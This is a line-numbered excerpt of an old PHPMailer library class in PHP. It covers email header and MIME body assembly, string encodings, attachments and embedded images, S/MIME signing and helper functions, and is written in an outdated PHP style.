2135 * @param string $encodedText utf-8 QP text
2136 * @param int $maxLength find last character boundary prior to this length
2137 * @return int
2138 */
2139 function UTF8CharBoundary($encodedText, $maxLength) {
2140 $foundSplitPos = false;
2141 $lookBack = 3;
2142 while (!$foundSplitPos) {
2143 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2144 $encodedCharPos = strpos($lastChunk, "=");
2145 if ($encodedCharPos !== false) {
2146 // Found start of encoded character byte within $lookBack block.
2147 // Check the encoded byte value (the 2 chars after the '=')
2148 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2149 $dec = hexdec($hex);
2150 if ($dec < 128) { // Single byte character.
2151 // If the encoded char was found at pos 0, it will fit
2152 // otherwise reduce maxLength to start of the encoded char
2153 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2154 $maxLength - ($lookBack - $encodedCharPos);
2155 $foundSplitPos = true;
2156 } elseif ($dec >= 192) { // First byte of a multi byte character
2157 // Reduce maxLength to split at start of character
2158 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2159 $foundSplitPos = true;
2160 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2161 $lookBack += 3;
2162 }
2163 } else {
2164 // No encoded character found
2165 $foundSplitPos = true;
2166 }
2167 }
2168 return $maxLength;
2169 }
2170
2171 /**
2172 * Set the body wrapping.
2173 * @access private
2174 * @return void
2175 */
2176 function SetWordWrap() {
2177 if($this->WordWrap < 1) {
2178 return;
2179 }
2180
2181 switch($this->message_type) {
2182 case 'alt':
2183 /* fall through */
2184 case 'alt_attachments':
2185 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2186 break;
2187 default:
2188 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2189 break;
2190 }
2191 }
2192
2193 /**
2194 * Assembles message header.
2195 * @access private
2196 * @return string
2197 */
2198 function CreateHeader() {
2199 $result = '';
2200
2201 /* Set the boundaries */
2202 $uniq_id = md5(uniqid(time()));
2203 $this->boundary[1] = 'b1_' . $uniq_id;
2204 $this->boundary[2] = 'b2_' . $uniq_id;
2205
2206 $result .= $this->HeaderLine('Date', $this->RFCDate());
2207 if($this->Sender == '') {
2208 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2209 } else {
2210 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2211 }
2212
2213 /* To be created automatically by mail() */
2214 if($this->Mailer != 'mail') {
2215 if(count($this->to) > 0) {
2216 $result .= $this->AddrAppend('To', $this->to);
2217 } elseif (count($this->cc) == 0) {
2218 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2219 }
2220 if(count($this->cc) > 0) {
2221 $result .= $this->AddrAppend('Cc', $this->cc);
2222 }
2223 }
2224
2225 $from = array();
2226 $from[0][0] = trim($this->From);
2227 $from[0][1] = $this->FromName;
2228 $result .= $this->AddrAppend('From', $from);
2229
2230 /* sendmail and mail() extract Cc from the header before sending */
2231 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2232 $result .= $this->AddrAppend('Cc', $this->cc);
2233 }
2234
2235 /* sendmail and mail() extract Bcc from the header before sending */
2236 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2237 $result .= $this->AddrAppend('Bcc', $this->bcc);
2238 }
2239
2240 if(count($this->ReplyTo) > 0) {
2241 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2242 }
2243
2244 /* mail() sets the subject itself */
2245 if($this->Mailer != 'mail') {
2246 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2247 }
2248
2249 if($this->MessageID != '') {
2250 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2251 } else {
2252 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2253 }
2254 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2255 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2256
2257 if($this->ConfirmReadingTo != '') {
2258 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2259 }
2260
2261 // Add custom headers
2262 for($index = 0; $index < count($this->CustomHeader); $index++) {
2263 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2264 }
2265 if (!$this->sign_key_file) {
2266 $result .= $this->HeaderLine('MIME-Version', '1.0');
2267 $result .= $this->GetMailMIME();
2268 }
2269
2270 return $result;
2271 }
2272
2273 /**
2274 * Returns the message MIME.
2275 * @access private
2276 * @return string
2277 */
2278 function GetMailMIME() {
2279 $result = '';
2280 switch($this->message_type) {
2281 case 'plain':
2282 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2283 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2284 break;
2285 case 'attachments':
2286 /* fall through */
2287 case 'alt_attachments':
2288 if($this->InlineImageExists()){
2289 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2290 } else {
2291 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2292 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2293 }
2294 break;
2295 case 'alt':
2296 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2297 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2298 break;
2299 }
2300
2301 if($this->Mailer != 'mail') {
2302 $result .= $this->LE.$this->LE;
2303 }
2304
2305 return $result;
2306 }
2307
2308 /**
2309 * Assembles the message body. Returns an empty string on failure.
2310 * @access private
2311 * @return string
2312 */
2313 function CreateBody() {
2314 $result = '';
2315 if ($this->sign_key_file) {
2316 $result .= $this->GetMailMIME();
2317 }
2318
2319 $this->SetWordWrap();
2320
2321 switch($this->message_type) {
2322 case 'alt':
2323 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2324 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2325 $result .= $this->LE.$this->LE;
2326 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2327 $result .= $this->EncodeString($this->Body, $this->Encoding);
2328 $result .= $this->LE.$this->LE;
2329 $result .= $this->EndBoundary($this->boundary[1]);
2330 break;
2331 case 'plain':
2332 $result .= $this->EncodeString($this->Body, $this->Encoding);
2333 break;
2334 case 'attachments':
2335 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2336 $result .= $this->EncodeString($this->Body, $this->Encoding);
2337 $result .= $this->LE;
2338 $result .= $this->AttachAll();
2339 break;
2340 case 'alt_attachments':
2341 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2342 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2343 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2344 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2345 $result .= $this->LE.$this->LE;
2346 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2347 $result .= $this->EncodeString($this->Body, $this->Encoding);
2348 $result .= $this->LE.$this->LE;
2349 $result .= $this->EndBoundary($this->boundary[2]);
2350 $result .= $this->AttachAll();
2351 break;
2352 }
2353
2354 if($this->IsError()) {
2355 $result = '';
2356 } else if ($this->sign_key_file) {
2357 $file = tempnam("", "mail");
2358 $fp = fopen($file, "w");
2359 fwrite($fp, $result);
2360 fclose($fp);
2361 $signed = tempnam("", "signed");
2362
2363 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2364 $fp = fopen($signed, "r");
2365 $result = fread($fp, filesize($this->sign_key_file));
2366 fclose($fp);
2367 } else {
2368 $this->SetError($this->Lang("signing").openssl_error_string());
2369 $result = '';
2370 }
2371
2372 unlink($file);
2373 unlink($signed);
2374 }
2375
2376 return $result;
2377 }
2378
2379 /**
2380 * Returns the start of a message boundary.
2381 * @access private
2382 */
2383 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2384 $result = '';
2385 if($charSet == '') {
2386 $charSet = $this->CharSet;
2387 }
2388 if($contentType == '') {
2389 $contentType = $this->ContentType;
2390 }
2391 if($encoding == '') {
2392 $encoding = $this->Encoding;
2393 }
2394 $result .= $this->TextLine('--' . $boundary);
2395 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2396 $result .= $this->LE;
2397 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2398 $result .= $this->LE;
2399
2400 return $result;
2401 }
2402
2403 /**
2404 * Returns the end of a message boundary.
2405 * @access private
2406 */
2407 function EndBoundary($boundary) {
2408 return $this->LE . '--' . $boundary . '--' . $this->LE;
2409 }
2410
2411 /**
2412 * Sets the message type.
2413 * @access private
2414 * @return void
2415 */
2416 function SetMessageType() {
2417 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2418 $this->message_type = 'plain';
2419 } else {
2420 if(count($this->attachment) > 0) {
2421 $this->message_type = 'attachments';
2422 }
2423 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2424 $this->message_type = 'alt';
2425 }
2426 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2427 $this->message_type = 'alt_attachments';
2428 }
2429 }
2430 }
2431
2432 /* Returns a formatted header line.
2433 * @access private
2434 * @return string
2435 */
2436 function HeaderLine($name, $value) {
2437 return $name . ': ' . $value . $this->LE;
2438 }
2439
2440 /**
2441 * Returns a formatted mail line.
2442 * @access private
2443 * @return string
2444 */
2445 function TextLine($value) {
2446 return $value . $this->LE;
2447 }
2448
2449 /////////////////////////////////////////////////
2450 // CLASS METHODS, ATTACHMENTS
2451 /////////////////////////////////////////////////
2452
2453 /**
2454 * Adds an attachment from a path on the filesystem.
2455 * Returns false if the file could not be found
2456 * or accessed.
2457 * @param string $path Path to the attachment.
2458 * @param string $name Overrides the attachment name.
2459 * @param string $encoding File encoding (see $Encoding).
2460 * @param string $type File extension (MIME) type.
2461 * @return bool
2462 */
2463 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2464 if(!@is_file($path)) {
2465 $this->SetError($this->Lang('file_access') . $path);
2466 return false;
2467 }
2468
2469 $filename = basename($path);
2470 if($name == '') {
2471 $name = $filename;
2472 }
2473
2474 $cur = count($this->attachment);
2475 $this->attachment[$cur][0] = $path;
2476 $this->attachment[$cur][1] = $filename;
2477 $this->attachment[$cur][2] = $name;
2478 $this->attachment[$cur][3] = $encoding;
2479 $this->attachment[$cur][4] = $type;
2480 $this->attachment[$cur][5] = false; // isStringAttachment
2481 $this->attachment[$cur][6] = 'attachment';
2482 $this->attachment[$cur][7] = 0;
2483
2484 return true;
2485 }
2486
2487 /**
2488 * Attaches all fs, string, and binary attachments to the message.
2489 * Returns an empty string on failure.
2490 * @access private
2491 * @return string
2492 */
2493 function AttachAll() {
2494 /* Return text of body */
2495 $mime = array();
2496
2497 /* Add all attachments */
2498 for($i = 0; $i < count($this->attachment); $i++) {
2499 /* Check for string attachment */
2500 $bString = $this->attachment[$i][5];
2501 if ($bString) {
2502 $string = $this->attachment[$i][0];
2503 } else {
2504 $path = $this->attachment[$i][0];
2505 }
2506
2507 $filename = $this->attachment[$i][1];
2508 $name = $this->attachment[$i][2];
2509 $encoding = $this->attachment[$i][3];
2510 $type = $this->attachment[$i][4];
2511 $disposition = $this->attachment[$i][6];
2512 $cid = $this->attachment[$i][7];
2513
2514 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2515 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2516 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2517
2518 if($disposition == 'inline') {
2519 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2520 }
2521
2522 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2523
2524 /* Encode as string attachment */
2525 if($bString) {
2526 $mime[] = $this->EncodeString($string, $encoding);
2527 if($this->IsError()) {
2528 return '';
2529 }
2530 $mime[] = $this->LE.$this->LE;
2531 } else {
2532 $mime[] = $this->EncodeFile($path, $encoding);
2533 if($this->IsError()) {
2534 return '';
2535 }
2536 $mime[] = $this->LE.$this->LE;
2537 }
2538 }
2539
2540 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2541
2542 return join('', $mime);
2543 }
2544
2545 /**
2546 * Encodes attachment in requested format. Returns an
2547 * empty string on failure.
2548 * @access private
2549 * @return string
2550 */
2551 function EncodeFile ($path, $encoding = 'base64') {
2552 if(!@$fd = fopen($path, 'rb')) {
2553 $this->SetError($this->Lang('file_open') . $path);
2554 return '';
2555 }
2556 $magic_quotes = get_magic_quotes_runtime();
2557 set_magic_quotes_runtime(0);
2558 $file_buffer = fread($fd, filesize($path));
2559 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2560 fclose($fd);
2561 set_magic_quotes_runtime($magic_quotes);
2562
2563 return $file_buffer;
2564 }
2565
2566 /**
2567 * Encodes string to requested format. Returns an
2568 * empty string on failure.
2569 * @access private
2570 * @return string
2571 */
2572 function EncodeString ($str, $encoding = 'base64') {
2573 $encoded = '';
2574 switch(strtolower($encoding)) {
2575 case 'base64':
2576 /* chunk_split is found in PHP >= 3.0.6 */
2577 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2578 break;
2579 case '7bit':
2580 case '8bit':
2581 $encoded = $this->FixEOL($str);
2582 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2583 $encoded .= $this->LE;
2584 break;
2585 case 'binary':
2586 $encoded = $str;
2587 break;
2588 case 'quoted-printable':
2589 $encoded = $this->EncodeQP($str);
2590 break;
2591 default:
2592 $this->SetError($this->Lang('encoding') . $encoding);
2593 break;
2594 }
2595 return $encoded;
2596 }
2597
2598 /**
2599 * Encode a header string to best of Q, B, quoted or none.
2600 * @access private
2601 * @return string
2602 */
2603 function EncodeHeader ($str, $position = 'text') {
2604 $x = 0;
2605
2606 switch (strtolower($position)) {
2607 case 'phrase':
2608 if (!preg_match('/[\200-\377]/', $str)) {
2609 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2610 $encoded = addcslashes($str, "\0..\37\177\\\"");
2611 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2612 return ($encoded);
2613 } else {
2614 return ("\"$encoded\"");
2615 }
2616 }
2617 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2618 break;
2619 case 'comment':
2620 $x = preg_match_all('/[()"]/', $str, $matches);
2621 /* Fall-through */
2622 case 'text':
2623 default:
2624 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2625 break;
2626 }
2627
2628 if ($x == 0) {
2629 return ($str);
2630 }
2631
2632 $maxlen = 75 - 7 - strlen($this->CharSet);
2633 /* Try to select the encoding which should produce the shortest output */
2634 if (strlen($str)/3 < $x) {
2635 $encoding = 'B';
2636 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2637 // Use a custom function which correctly encodes and wraps long
2638 // multibyte strings without breaking lines within a character
2639 $encoded = $this->Base64EncodeWrapMB($str);
2640 } else {
2641 $encoded = base64_encode($str);
2642 $maxlen -= $maxlen % 4;
2643 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2644 }
2645 } else {
2646 $encoding = 'Q';
2647 $encoded = $this->EncodeQ($str, $position);
2648 $encoded = $this->WrapText($encoded, $maxlen, true);
2649 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2650 }
2651
2652 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2653 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2654
2655 return $encoded;
2656 }
2657
2658 /**
2659 * Checks if a string contains multibyte characters.
2660 * @access private
2661 * @param string $str multi-byte text to wrap encode
2662 * @return bool
2663 */
2664 function HasMultiBytes($str) {
2665 if (function_exists('mb_strlen')) {
2666 return (strlen($str) > mb_strlen($str, $this->CharSet));
2667 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2668 return False;
2669 }
2670 }
2671
2672 /**
2673 * Correctly encodes and wraps long multibyte strings for mail headers
2674 * without breaking lines within a character.
2675 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2676 * @access private
2677 * @param string $str multi-byte text to wrap encode
2678 * @return string
2679 */
2680 function Base64EncodeWrapMB($str) {
2681 $start = "=?".$this->CharSet."?B?";
2682 $end = "?=";
2683 $encoded = "";
2684
2685 $mb_length = mb_strlen($str, $this->CharSet);
2686 // Each line must have length <= 75, including $start and $end
2687 $length = 75 - strlen($start) - strlen($end);
2688 // Average multi-byte ratio
2689 $ratio = $mb_length / strlen($str);
2690 // Base64 has a 4:3 ratio
2691 $offset = $avgLength = floor($length * $ratio * .75);
2692
2693 for ($i = 0; $i < $mb_length; $i += $offset) {
2694 $lookBack = 0;
2695
2696 do {
2697 $offset = $avgLength - $lookBack;
2698 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2699 $chunk = base64_encode($chunk);
2700 $lookBack++;
2701 }
2702 while (strlen($chunk) > $length);
2703
2704 $encoded .= $chunk . $this->LE;
2705 }
2706
2707 // Chomp the last linefeed
2708 $encoded = substr($encoded, 0, -strlen($this->LE));
2709 return $encoded;
2710 }
2711
2712 /**
2713 * Encode string to quoted-printable.
2714 * @access private
2715 * @return string
2716 */
2717 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2718 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2719 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2720 $eol = "\r\n";
2721 $escape = '=';
2722 $output = '';
2723 while( list(, $line) = each($lines) ) {
2724 $linlen = strlen($line);
2725 $newline = '';
2726 for($i = 0; $i < $linlen; $i++) {
2727 $c = substr( $line, $i, 1 );
2728 $dec = ord( $c );
2729 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2730 $c = '=2E';
2731 }
2732 if ( $dec == 32 ) {
2733 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2734 $c = '=20';
2735 } else if ( $space_conv ) {
2736 $c = '=20';
2737 }
2738 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2739 $h2 = floor($dec/16);
2740 $h1 = floor($dec%16);
2741 $c = $escape.$hex[$h2].$hex[$h1];
2742 }
2743 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2744 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2745 $newline = '';
2746 // check if newline first character will be point or not
2747 if ( $dec == 46 ) {
2748 $c = '=2E';
2749 }
2750 }
2751 $newline .= $c;
2752 } // end of for
2753 $output .= $newline.$eol;
2754 } // end of while
2755 return trim($output);
2756 }
2757
2758 /**
2759 * Encode string to q encoding.
2760 * @access private
2761 * @return string
2762 */
2763 function EncodeQ ($str, $position = 'text') {
2764 /* There should not be any EOL in the string */
2765 $encoded = preg_replace("[\r\n]", '', $str);
2766
2767 switch (strtolower($position)) {
2768 case 'phrase':
2769 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2770 break;
2771 case 'comment':
2772 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2773 case 'text':
2774 default:
2775 /* Replace every high ascii, control =, ? and _ characters */
2776 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2777 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2778 break;
2779 }
2780
2781 /* Replace every spaces to _ (more readable than =20) */
2782 $encoded = str_replace(' ', '_', $encoded);
2783
2784 return $encoded;
2785 }
2786
2787 /**
2788 * Adds a string or binary attachment (non-filesystem) to the list.
2789 * This method can be used to attach ascii or binary data,
2790 * such as a BLOB record from a database.
2791 * @param string $string String attachment data.
2792 * @param string $filename Name of the attachment.
2793 * @param string $encoding File encoding (see $Encoding).
2794 * @param string $type File extension (MIME) type.
2795 * @return void
2796 */
2797 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2798 /* Append to $attachment array */
2799 $cur = count($this->attachment);
2800 $this->attachment[$cur][0] = $string;
2801 $this->attachment[$cur][1] = $filename;
2802 $this->attachment[$cur][2] = $filename;
2803 $this->attachment[$cur][3] = $encoding;
2804 $this->attachment[$cur][4] = $type;
2805 $this->attachment[$cur][5] = true; // isString
2806 $this->attachment[$cur][6] = 'attachment';
2807 $this->attachment[$cur][7] = 0;
2808 }
2809
2810 /**
2811 * Adds an embedded attachment. This can include images, sounds, and
2812 * just about any other document. Make sure to set the $type to an
2813 * image type. For JPEG images use "image/jpeg" and for GIF images
2814 * use "image/gif".
2815 * @param string $path Path to the attachment.
2816 * @param string $cid Content ID of the attachment. Use this to identify
2817 * the Id for accessing the image in an HTML form.
2818 * @param string $name Overrides the attachment name.
2819 * @param string $encoding File encoding (see $Encoding).
2820 * @param string $type File extension (MIME) type.
2821 * @return bool
2822 */
2823 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2824
2825 if(!@is_file($path)) {
2826 $this->SetError($this->Lang('file_access') . $path);
2827 return false;
2828 }
2829
2830 $filename = basename($path);
2831 if($name == '') {
2832 $name = $filename;
2833 }
2834
2835 /* Append to $attachment array */
2836 $cur = count($this->attachment);
2837 $this->attachment[$cur][0] = $path;
2838 $this->attachment[$cur][1] = $filename;
2839 $this->attachment[$cur][2] = $name;
2840 $this->attachment[$cur][3] = $encoding;
2841 $this->attachment[$cur][4] = $type;
2842 $this->attachment[$cur][5] = false;
2843 $this->attachment[$cur][6] = 'inline';
2844 $this->attachment[$cur][7] = $cid;
2845
2846 return true;
2847 }
2848
2849 /**
2850 * Returns true if an inline attachment is present.
2851 * @access private
2852 * @return bool
2853 */
2854 function InlineImageExists() {
2855 $result = false;
2856 for($i = 0; $i < count($this->attachment); $i++) {
2857 if($this->attachment[$i][6] == 'inline') {
2858 $result = true;
2859 break;
2860 }
2861 }
2862
2863 return $result;
2864 }
2865
2866 /////////////////////////////////////////////////
2867 // CLASS METHODS, MESSAGE RESET
2868 /////////////////////////////////////////////////
2869
2870 /**
2871 * Clears all recipients assigned in the TO array. Returns void.
2872 * @return void
2873 */
2874 function ClearAddresses() {
2875 $this->to = array();
2876 }
2877
2878 /**
2879 * Clears all recipients assigned in the CC array. Returns void.
2880 * @return void
2881 */
2882 function ClearCCs() {
2883 $this->cc = array();
2884 }
2885
2886 /**
2887 * Clears all recipients assigned in the BCC array. Returns void.
2888 * @return void
2889 */
2890 function ClearBCCs() {
2891 $this->bcc = array();
2892 }
2893
2894 /**
2895 * Clears all recipients assigned in the ReplyTo array. Returns void.
2896 * @return void
2897 */
2898 function ClearReplyTos() {
2899 $this->ReplyTo = array();
2900 }
2901
2902 /**
2903 * Clears all recipients assigned in the TO, CC and BCC
2904 * array. Returns void.
2905 * @return void
2906 */
2907 function ClearAllRecipients() {
2908 $this->to = array();
2909 $this->cc = array();
2910 $this->bcc = array();
2911 }
2912
2913 /**
2914 * Clears all previously set filesystem, string, and binary
2915 * attachments. Returns void.
2916 * @return void
2917 */
2918 function ClearAttachments() {
2919 $this->attachment = array();
2920 }
2921
2922 /**
2923 * Clears all custom headers. Returns void.
2924 * @return void
2925 */
2926 function ClearCustomHeaders() {
2927 $this->CustomHeader = array();
2928 }
2929
2930 /////////////////////////////////////////////////
2931 // CLASS METHODS, MISCELLANEOUS
2932 /////////////////////////////////////////////////
2933
2934 /**
2935 * Adds the error message to the error container.
2936 * Returns void.
2937 * @access private
2938 * @return void
2939 */
2940 function SetError($msg) {
2941 $this->error_count++;
2942 $this->ErrorInfo = $msg;
2943 }
2944
2945 /**
2946 * Returns the proper RFC 822 formatted date.
2947 * @access private
2948 * @return string
2949 */
2950 function RFCDate() {
2951 $tz = date('Z');
2952 $tzs = ($tz < 0) ? '-' : '+';
2953 $tz = abs($tz);
2954 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2955 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2956
2957 return $result;
2958 }
2959
2960 /**
2961 * Returns the appropriate server variable. Should work with both
2962 * PHP 4.1.0+ as well as older versions. Returns an empty string
2963 * if nothing is found.
2964 * @access private
2965 * @return mixed
2966 */
2967 function ServerVar($varName) {
2968 global $HTTP_SERVER_VARS;
2969 global $HTTP_ENV_VARS;
2970
2971 if(!isset($_SERVER)) {
2972 $_SERVER = $HTTP_SERVER_VARS;
2973 if(!isset($_SERVER['REMOTE_ADDR'])) {
2974 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2975 }
2976 }
2977
2978 if(isset($_SERVER[$varName])) {
2979 return $_SERVER[$varName];
2980 } else {
2981 return '';
2982 }
2983 }
2984
2985 /**
2986 * Returns the server hostname or 'localhost.localdomain' if unknown.
2987 * @access private
2988 * @return string
2989 */
2990 function ServerHostname() {
2991 if ($this->Hostname != '') {
2992 $result = $this->Hostname;
2993 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2994 $result = $this->ServerVar('SERVER_NAME');
2995 } else {
2996 $result = 'localhost.localdomain';
2997 }
2998
2999 return $result;
3000 }
3001
3002 /**
3003 * Returns a message in the appropriate language.
3004 * @access private
3005 * @return string
3006 */
3007 function Lang($key) {
3008 if(count($this->language) < 1) {
3009 $this->SetLanguage('en'); // set the default language
3010 }
3011
3012 if(isset($this->language[$key])) {
3013 return $this->language[$key];
3014 } else {
3015 return 'Language string failed to load: ' . $key;
3016 }
3017 }
3018
3019 /**
3020 * Returns true if an error occurred.
3021 * @return bool
3022 */
3023 function IsError() {
3024 return ($this->error_count > 0);
3025 }
3026
3027 /**
3028 * Changes every end of line from CR or LF to CRLF.
3029 * @access private
3030 * @return string
3031 */
3032 function FixEOL($str) {
3033 $str = str_replace("\r\n", "\n", $str);
3034 $str = str_replace("\r", "\n", $str);
3035 $str = str_replace("\n", $this->LE, $str);
3036 return $str;
3037 }
3038
3039 /**
3040 * Adds a custom header.
3041 * @return void
3042 */
3043 function AddCustomHeader($custom_header) {
3044 $this->CustomHeader[] = explode(':', $custom_header, 2);
3045 }
3046
3047 /**
3048 * Evaluates the message and returns modifications for inline images and backgrounds
3049 * @access public
3050 * @return $message
3051 */
3052 function MsgHTML($message,$basedir='') {
3053 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3054 if(isset($images[2])) {
3055 foreach($images[2] as $i => $url) {
3056 // do not change urls for absolute images (thanks to corvuscorax)
3057 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3058 $filename = basename($url);
3059 $directory = dirname($url);
3060 ($directory == '.')?$directory='':'';
3061 $cid = 'cid:' . md5($filename);
3062 $fileParts = split("\.", $filename);
3063 $ext = $fileParts[1];
3064 $mimeType = $this->_mime_types($ext);
3065 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3066 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3067 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3068 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3069 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3070 }
3071 }
3072 }
3073 }
3074 $this->IsHTML(true);
3075 $this->Body = $message;
3076 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3077 if ( !empty($textMsg) && empty($this->AltBody) ) {
3078 $this->AltBody = $textMsg;
3079 }
3080 if ( empty($this->AltBody) ) {
3081 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3082 }
3083 }
3084
3085 /**
3086 * Gets the mime type of the embedded or inline image
3087 * @access private
3088 * @return mime type of ext
3089 */
3090 function _mime_types($ext = '') {
3091 $mimes = array(
3092 'hqx' => 'application/mac-binhex40',
3093 'cpt' => 'application/mac-compactpro',
3094 'doc' => 'application/msword',
3095 'bin' => 'application/macbinary',
3096 'dms' => 'application/octet-stream',
3097 'lha' => 'application/octet-stream',
3098 'lzh' => 'application/octet-stream',
3099 'exe' => 'application/octet-stream',
3100 'class' => 'application/octet-stream',
3101 'psd' => 'application/octet-stream',
3102 'so' => 'application/octet-stream',
3103 'sea' => 'application/octet-stream',
3104 'dll' => 'application/octet-stream',
3105 'oda' => 'application/oda',
3106 'pdf' => 'application/pdf',
3107 'ai' => 'application/postscript',
3108 'eps' => 'application/postscript',
3109 'ps' => 'application/postscript',
3110 'smi' => 'application/smil',
3111 'smil' => 'application/smil',
3112 'mif' => 'application/vnd.mif',
3113 'xls' => 'application/vnd.ms-excel',
3114 'ppt' => 'application/vnd.ms-powerpoint',
3115 'wbxml' => 'application/vnd.wap.wbxml',
3116 'wmlc' => 'application/vnd.wap.wmlc',
3117 'dcr' => 'application/x-director',
3118 'dir' => 'application/x-director',
3119 'dxr' => 'application/x-director',
